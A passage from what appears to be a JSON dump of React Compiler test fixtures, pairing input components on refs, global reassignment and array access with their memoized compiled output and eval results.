    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\nimport {useRef} from 'react';\n\nfunction Component() {\n  const ref = useRef(null);\n\n  const onClick = () => {\n    if (ref.current !== null) {\n      ref.current.value = '';\n    }\n  };\n\n  return (\n    <>\n      <input ref={ref} />\n      <button onClick={onClick} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateRefAccessDuringRender\nimport { useRef } from \"react\";\n\nfunction Component() {\n  const $ = _c(2);\n  const ref = useRef(null);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      if (ref.current !== null) {\n        ref.current.value = \"\";\n      }\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const onClick = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = (\n      <>\n        <input ref={ref} />\n        <button onClick={onClick} />\n      </>\n    );\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <input><button></button>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-mutating-ref-property-in-callback-passed-to-jsx.tsx",
    "content": "// @validateRefAccessDuringRender\nimport {useRef} from 'react';\n\nfunction Component() {\n  const ref = useRef(null);\n\n  const onClick = () => {\n    if (ref.current !== null) {\n      ref.current.value = '';\n    }\n  };\n\n  return (\n    <>\n      <input ref={ref} />\n      <button onClick={onClick} />\n    </>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-ref-to-render-helper-props-object.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender\n\nimport {useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef(null);\n\n  return <Foo>{props.render({ref})}</Foo>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender\n\nimport { useRef } from \"react\";\n\nfunction Component(props) {\n  const $ = _c(3);\n  const ref = useRef(null);\n\n  const T0 = Foo;\n  const t0 = props.render({ ref });\n  let t1;\n  if ($[0] !== T0 || $[1] !== t0) {\n    t1 = <T0>{t0}</T0>;\n    $[0] = T0;\n    $[1] = t0;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-ref-to-render-helper-props-object.js",
    "content": "// @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender\n\nimport {useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef(null);\n\n  return <Foo>{props.render({ref})}</Foo>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-ref-to-render-helper.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender\n\nimport {useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef(null);\n\n  return <Foo>{props.render(ref)}</Foo>;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender\n\nimport { useRef } from \"react\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  const ref = useRef(null);\n  let t0;\n  if ($[0] !== props.render) {\n    t0 = props.render(ref);\n    $[0] = props.render;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  let t1;\n  if ($[2] !== t0) {\n    t1 = <Foo>{t0}</Foo>;\n    $[2] = t0;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-ref-to-render-helper.js",
    "content": "// @enableTreatRefLikeIdentifiersAsRefs @validateRefAccessDuringRender\n\nimport {useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef(null);\n\n  return <Foo>{props.render(ref)}</Foo>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-refs-as-props.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const ref = useRef(null);\n  return <Foo ref={ref} />;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(1);\n  const ref = useRef(null);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <Foo ref={ref} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-passing-refs-as-props.js",
    "content": "function Component(props) {\n  const ref = useRef(null);\n  return <Foo ref={ref} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-reassignment-to-global-function-jsx-prop.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  const onClick = () => {\n    // Cannot assign to globals\n    someUnknownGlobal = true;\n    moduleLocal = true;\n  };\n  // It's possible that this could be an event handler / effect function,\n  // but we don't know that and optimistically assume it will only be\n  // called by an event handler or effect, where it is allowed to modify globals\n  return <div onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component() {\n  const $ = _c(1);\n  const onClick = _temp;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <div onClick={onClick} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp() {\n  someUnknownGlobal = true;\n  moduleLocal = true;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-reassignment-to-global-function-jsx-prop.js",
    "content": "function Component() {\n  const onClick = () => {\n    // Cannot assign to globals\n    someUnknownGlobal = true;\n    moduleLocal = true;\n  };\n  // It's possible that this could be an event handler / effect function,\n  // but we don't know that and optimistically assume it will only be\n  // called by an event handler or effect, where it is allowed to modify globals\n  return <div onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-effect-indirect.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender @validateNoSetStateInRender:false\nimport {useCallback, useEffect, useRef, useState} from 'react';\n\nfunction Component() {\n  const ref = useRef(null);\n  const [state, setState] = useState(false);\n  const setRef = useCallback(() => {\n    ref.current = 'Ok';\n  }, []);\n\n  useEffect(() => {\n    setRef();\n  }, []);\n\n  useEffect(() => {\n    setState(true);\n  }, []);\n\n  // We use state to force a re-render and observe whether the\n  // ref updated. This lets us check that the effect actually ran\n  // and wasn't DCE'd\n  return <Child key={String(state)} ref={ref} />;\n}\n\nfunction Child({ref}) {\n  'use no memo';\n  // This violates the rules of React, so we access the ref in a child\n  // component\n  return ref.current;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateRefAccessDuringRender @validateNoSetStateInRender:false\nimport { useCallback, useEffect, useRef, useState } from \"react\";\n\nfunction Component() {\n  const $ = _c(7);\n  const ref = useRef(null);\n  const [state, setState] = useState(false);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      ref.current = \"Ok\";\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const setRef = t0;\n  let t1;\n  let t2;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = () => {\n      setRef();\n    };\n    t2 = [];\n    $[1] = t1;\n    $[2] = t2;\n  } else {\n    t1 = $[1];\n    t2 = $[2];\n  }\n  useEffect(t1, t2);\n  let t3;\n  let t4;\n  if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t3 = () => {\n      setState(true);\n    };\n    t4 = [];\n    $[3] = t3;\n    $[4] = t4;\n  } else {\n    t3 = $[3];\n    t4 = $[4];\n  }\n  useEffect(t3, t4);\n\n  const t5 = String(state);\n  let t6;\n  if ($[5] !== t5) {\n    t6 = <Child key={t5} ref={ref} />;\n    $[5] = t5;\n    $[6] = t6;\n  } else {\n    t6 = $[6];\n  }\n  return t6;\n}\n\nfunction Child({ ref }) {\n  \"use no memo\";\n  // This violates the rules of React, so we access the ref in a child\n  // component\n  return ref.current;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) Ok"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-effect-indirect.js",
    "content": "// @validateRefAccessDuringRender @validateNoSetStateInRender:false\nimport {useCallback, useEffect, useRef, useState} from 'react';\n\nfunction Component() {\n  const ref = useRef(null);\n  const [state, setState] = useState(false);\n  const setRef = useCallback(() => {\n    ref.current = 'Ok';\n  }, []);\n\n  useEffect(() => {\n    setRef();\n  }, []);\n\n  useEffect(() => {\n    setState(true);\n  }, []);\n\n  // We use state to force a re-render and observe whether the\n  // ref updated. This lets us check that the effect actually ran\n  // and wasn't DCE'd\n  return <Child key={String(state)} ref={ref} />;\n}\n\nfunction Child({ref}) {\n  'use no memo';\n  // This violates the rules of React, so we access the ref in a child\n  // component\n  return ref.current;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-effect.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\nimport {useEffect, useRef, useState} from 'react';\n\nfunction Component() {\n  const ref = useRef(null);\n  const [state, setState] = useState(false);\n  useEffect(() => {\n    ref.current = 'Ok';\n  }, []);\n\n  useEffect(() => {\n    setState(true);\n  }, []);\n\n  // We use state to force a re-render and observe whether the\n  // ref updated. This lets us check that the effect actually ran\n  // and wasn't DCE'd\n  return <Child key={String(state)} ref={ref} />;\n}\n\nfunction Child({ref}) {\n  'use no memo';\n  // This violates the rules of React, so we access the ref in a child\n  // component\n  return ref.current;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateRefAccessDuringRender\nimport { useEffect, useRef, useState } from \"react\";\n\nfunction Component() {\n  const $ = _c(6);\n  const ref = useRef(null);\n  const [state, setState] = useState(false);\n  let t0;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      ref.current = \"Ok\";\n    };\n    t1 = [];\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t0 = $[0];\n    t1 = $[1];\n  }\n  useEffect(t0, t1);\n  let t2;\n  let t3;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = () => {\n      setState(true);\n    };\n    t3 = [];\n    $[2] = t2;\n    $[3] = t3;\n  } else {\n    t2 = $[2];\n    t3 = $[3];\n  }\n  useEffect(t2, t3);\n\n  const t4 = String(state);\n  let t5;\n  if ($[4] !== t4) {\n    t5 = <Child key={t4} ref={ref} />;\n    $[4] = t4;\n    $[5] = t5;\n  } else {\n    t5 = $[5];\n  }\n  return t5;\n}\n\nfunction Child({ ref }) {\n  \"use no memo\";\n  // This violates the rules of React, so we access the ref in a child\n  // component\n  return ref.current;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) Ok"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-effect.js",
    "content": "// @validateRefAccessDuringRender\nimport {useEffect, useRef, useState} from 'react';\n\nfunction Component() {\n  const ref = useRef(null);\n  const [state, setState] = useState(false);\n  useEffect(() => {\n    ref.current = 'Ok';\n  }, []);\n\n  useEffect(() => {\n    setState(true);\n  }, []);\n\n  // We use state to force a re-render and observe whether the\n  // ref updated. This lets us check that the effect actually ran\n  // and wasn't DCE'd\n  return <Child key={String(state)} ref={ref} />;\n}\n\nfunction Child({ref}) {\n  'use no memo';\n  // This violates the rules of React, so we access the ref in a child\n  // component\n  return ref.current;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-unused-callback-nested.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\nimport {useEffect, useRef, useState} from 'react';\n\nfunction Component() {\n  const ref = useRef(null);\n  const [state, setState] = useState(false);\n  useEffect(() => {\n    const callback = () => {\n      ref.current = 'Ok';\n    };\n  }, []);\n\n  useEffect(() => {\n    setState(true);\n  }, []);\n\n  // We use state to force a re-render and observe whether the\n  // ref updated. This lets us check that the effect actually ran\n  // and wasn't DCE'd\n  return <Child key={String(state)} ref={ref} />;\n}\n\nfunction Child({ref}) {\n  'use no memo';\n  // This violates the rules of React, so we access the ref in a child\n  // component\n  return ref.current;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateRefAccessDuringRender\nimport { useEffect, useRef, useState } from \"react\";\n\nfunction Component() {\n  const $ = _c(5);\n  const ref = useRef(null);\n  const [state, setState] = useState(false);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  useEffect(_temp, t0);\n  let t1;\n  let t2;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = () => {\n      setState(true);\n    };\n    t2 = [];\n    $[1] = t1;\n    $[2] = t2;\n  } else {\n    t1 = $[1];\n    t2 = $[2];\n  }\n  useEffect(t1, t2);\n\n  const t3 = String(state);\n  let t4;\n  if ($[3] !== t3) {\n    t4 = <Child key={t3} ref={ref} />;\n    $[3] = t3;\n    $[4] = t4;\n  } else {\n    t4 = $[4];\n  }\n  return t4;\n}\nfunction _temp() {}\n\nfunction Child({ ref }) {\n  \"use no memo\";\n  // This violates the rules of React, so we access the ref in a child\n  // component\n  return ref.current;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-access-in-unused-callback-nested.js",
    "content": "// @validateRefAccessDuringRender\nimport {useEffect, useRef, useState} from 'react';\n\nfunction Component() {\n  const ref = useRef(null);\n  const [state, setState] = useState(false);\n  useEffect(() => {\n    const callback = () => {\n      ref.current = 'Ok';\n    };\n  }, []);\n\n  useEffect(() => {\n    setState(true);\n  }, []);\n\n  // We use state to force a re-render and observe whether the\n  // ref updated. This lets us check that the effect actually ran\n  // and wasn't DCE'd\n  return <Child key={String(state)} ref={ref} />;\n}\n\nfunction Child({ref}) {\n  'use no memo';\n  // This violates the rules of React, so we access the ref in a child\n  // component\n  return ref.current;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-initialization-undefined.expect.md",
    "content": "\n## Input\n\n```javascript\n//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  if (r.current == undefined) {\n    r.current = 1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { useRef } from \"react\";\n\nfunction C() {\n  const r = useRef(null);\n  if (r.current == undefined) {\n    r.current = 1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-initialization-undefined.js",
    "content": "//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  if (r.current == undefined) {\n    r.current = 1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-initialization.expect.md",
    "content": "\n## Input\n\n```javascript\n//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  if (r.current == null) {\n    r.current = 1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { useRef } from \"react\";\n\nfunction C() {\n  const r = useRef(null);\n  if (r.current == null) {\n    r.current = 1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-initialization.js",
    "content": "//@flow\nimport {useRef} from 'react';\n\ncomponent C() {\n  const r = useRef(null);\n  if (r.current == null) {\n    r.current = 1;\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: C,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-lazy-initialization-with-logical.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\n\nimport {useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef(null);\n  if (ref.current == null) {\n    // the logical means the ref write is in a different block\n    // from the if consequent. this tests that the \"safe\" blocks\n    // extend up to the if's fallthrough\n    ref.current = props.unknownKey ?? props.value;\n  }\n  return <Child ref={ref} />;\n}\n\nfunction Child({ref}) {\n  'use no memo';\n  return ref.current;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateRefAccessDuringRender\n\nimport { useRef } from \"react\";\n\nfunction Component(props) {\n  const $ = _c(1);\n  const ref = useRef(null);\n  if (ref.current == null) {\n    ref.current = props.unknownKey ?? props.value;\n  }\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <Child ref={ref} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nfunction Child({ ref }) {\n  \"use no memo\";\n  return ref.current;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) 42"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-lazy-initialization-with-logical.js",
    "content": "// @validateRefAccessDuringRender\n\nimport {useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef(null);\n  if (ref.current == null) {\n    // the logical means the ref write is in a different block\n    // from the if consequent. this tests that the \"safe\" blocks\n    // extend up to the if's fallthrough\n    ref.current = props.unknownKey ?? props.value;\n  }\n  return <Child ref={ref} />;\n}\n\nfunction Child({ref}) {\n  'use no memo';\n  return ref.current;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-type-cast-in-render.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useRef} from 'react';\n\nfunction useArrayOfRef() {\n  const ref = useRef(null);\n  const callback = value => {\n    ref.current = value;\n  };\n  return [callback] as const;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: () => {\n    useArrayOfRef();\n    return 'ok';\n  },\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useRef } from \"react\";\n\nfunction useArrayOfRef() {\n  const $ = _c(1);\n  const ref = useRef(null);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const callback = (value) => {\n      ref.current = value;\n    };\n    t0 = [callback];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0 as const;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: () => {\n    useArrayOfRef();\n    return \"ok\";\n  },\n\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"ok\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/allow-ref-type-cast-in-render.js",
    "content": "import {useRef} from 'react';\n\nfunction useArrayOfRef() {\n  const ref = useRef(null);\n  const callback = value => {\n    ref.current = value;\n  };\n  return [callback] as const;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: () => {\n    useArrayOfRef();\n    return 'ok';\n  },\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-access-assignment.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component({a, b, c}) {\n  const x = [a];\n  const y = [null, b];\n  const z = [[], [], [c]];\n  x[0] = y[1];\n  z[0][0] = x[0];\n  return [x, z];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1, b: 20, c: 300}],\n  sequentialRenders: [\n    {a: 2, b: 20, c: 300},\n    {a: 3, b: 20, c: 300},\n    {a: 3, b: 21, c: 300},\n    {a: 3, b: 22, c: 300},\n    {a: 3, b: 22, c: 301},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(t0) {\n  const $ = _c(6);\n  const { a, b, c } = t0;\n  let t1;\n  if ($[0] !== a || $[1] !== b || $[2] !== c) {\n    const x = [a];\n    let t2;\n    if ($[4] !== b) {\n      t2 = [null, b];\n      $[4] = b;\n      $[5] = t2;\n    } else {\n      t2 = $[5];\n    }\n    const y = t2;\n    const z = [[], [], [c]];\n    x[0] = y[1];\n    z[0][0] = x[0];\n    t1 = [x, z];\n    $[0] = a;\n    $[1] = b;\n    $[2] = c;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 1, b: 20, c: 300 }],\n  sequentialRenders: [\n    { a: 2, b: 20, c: 300 },\n    { a: 3, b: 20, c: 300 },\n    { a: 3, b: 21, c: 300 },\n    { a: 3, b: 22, c: 300 },\n    { a: 3, b: 22, c: 301 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[20],[[20],[],[300]]]\n[[20],[[20],[],[300]]]\n[[21],[[21],[],[300]]]\n[[22],[[22],[],[300]]]\n[[22],[[22],[],[301]]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-access-assignment.js",
    "content": "function Component({a, b, c}) {\n  const x = [a];\n  const y = [null, b];\n  const z = [[], [], [c]];\n  x[0] = y[1];\n  z[0][0] = x[0];\n  return [x, z];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 1, b: 20, c: 300}],\n  sequentialRenders: [\n    {a: 2, b: 20, c: 300},\n    {a: 3, b: 20, c: 300},\n    {a: 3, b: 21, c: 300},\n    {a: 3, b: 22, c: 300},\n    {a: 3, b: 22, c: 301},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-at-closure.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = foo(props.x);\n  const fn = function () {\n    const arr = [...bar(props)];\n    return arr.at(x);\n  };\n  const fnResult = fn();\n  return fnResult;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(5);\n  let t0;\n  if ($[0] !== props.x) {\n    t0 = foo(props.x);\n    $[0] = props.x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  let t1;\n  if ($[2] !== props || $[3] !== x) {\n    const fn = function () {\n      const arr = [...bar(props)];\n      return arr.at(x);\n    };\n    t1 = fn();\n    $[2] = props;\n    $[3] = x;\n    $[4] = t1;\n  } else {\n    t1 = $[4];\n  }\n  const fnResult = t1;\n  return fnResult;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-at-closure.js",
    "content": "function Component(props) {\n  const x = foo(props.x);\n  const fn = function () {\n    const arr = [...bar(props)];\n    return arr.at(x);\n  };\n  const fnResult = fn();\n  return fnResult;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-at-effect.expect.md",
    "content": "\n## Input\n\n```javascript\n// arrayInstance.at should have the following effects:\n//  - read on arg0\n//  - read on receiver\n//  - mutate on lvalue\nfunction ArrayAtTest(props) {\n  const arr = [foo(props.x)];\n  const result = arr.at(bar(props.y));\n  return result;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // arrayInstance.at should have the following effects:\n//  - read on arg0\n//  - read on receiver\n//  - mutate on lvalue\nfunction ArrayAtTest(props) {\n  const $ = _c(9);\n  let t0;\n  if ($[0] !== props.x) {\n    t0 = foo(props.x);\n    $[0] = props.x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  let t1;\n  if ($[2] !== t0) {\n    t1 = [t0];\n    $[2] = t0;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const arr = t1;\n  let t2;\n  if ($[4] !== arr || $[5] !== props.y) {\n    let t3;\n    if ($[7] !== props.y) {\n      t3 = bar(props.y);\n      $[7] = props.y;\n      $[8] = t3;\n    } else {\n      t3 = $[8];\n    }\n    t2 = arr.at(t3);\n    $[4] = arr;\n    $[5] = props.y;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  const result = t2;\n  return result;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-at-effect.js",
    "content": "// arrayInstance.at should have the following effects:\n//  - read on arg0\n//  - read on receiver\n//  - mutate on lvalue\nfunction ArrayAtTest(props) {\n  const arr = [foo(props.x)];\n  const result = arr.at(bar(props.y));\n  return result;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-at-mutate-after-capture.expect.md",
    "content": "\n## Input\n\n```javascript\n// x's mutable range should extend to `mutate(y)`\n\nfunction Component(props) {\n  let x = [42, {}];\n  const idx = foo(props.b);\n  let y = x.at(idx);\n  mutate(y);\n\n  return x;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // x's mutable range should extend to `mutate(y)`\n\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== props.b) {\n    x = [42, {}];\n    const idx = foo(props.b);\n    const y = x.at(idx);\n    mutate(y);\n    $[0] = props.b;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n\n  return x;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-at-mutate-after-capture.js",
    "content": "// x's mutable range should extend to `mutate(y)`\n\nfunction Component(props) {\n  let x = [42, {}];\n  const idx = foo(props.b);\n  let y = x.at(idx);\n  mutate(y);\n\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-concat-should-capture.expect.md",
